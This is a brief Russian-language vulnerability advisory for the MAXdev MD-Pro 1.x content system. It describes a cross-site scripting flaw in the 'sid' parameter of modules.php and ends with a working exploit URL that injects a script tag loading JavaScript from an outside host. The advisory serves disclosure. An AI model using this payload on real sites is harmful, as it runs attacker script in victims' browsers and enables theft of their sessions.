Программа: MAXdev MD-Pro 1.x

Уязвимость позволяет удаленному пользователю выполнить XSS нападение на целевую систему. Уязвимость существует из-за недостаточной обработки входных данных в параметре "sid" сценарием modules.php (когда "op" установлен в "modload", "name" установлен в "News", и "file" установлен в "article"). Атакующий может выполнить произвольный сценарий в браузере жертвы в контексте безопасности уязвимого сайта.

Эксплоит:

http://host/modules.php?op=modload&name=News&file=article&sid=1%22%3E%3Cscript+src=http://www.htbridge.ch/advisory/1.js+a=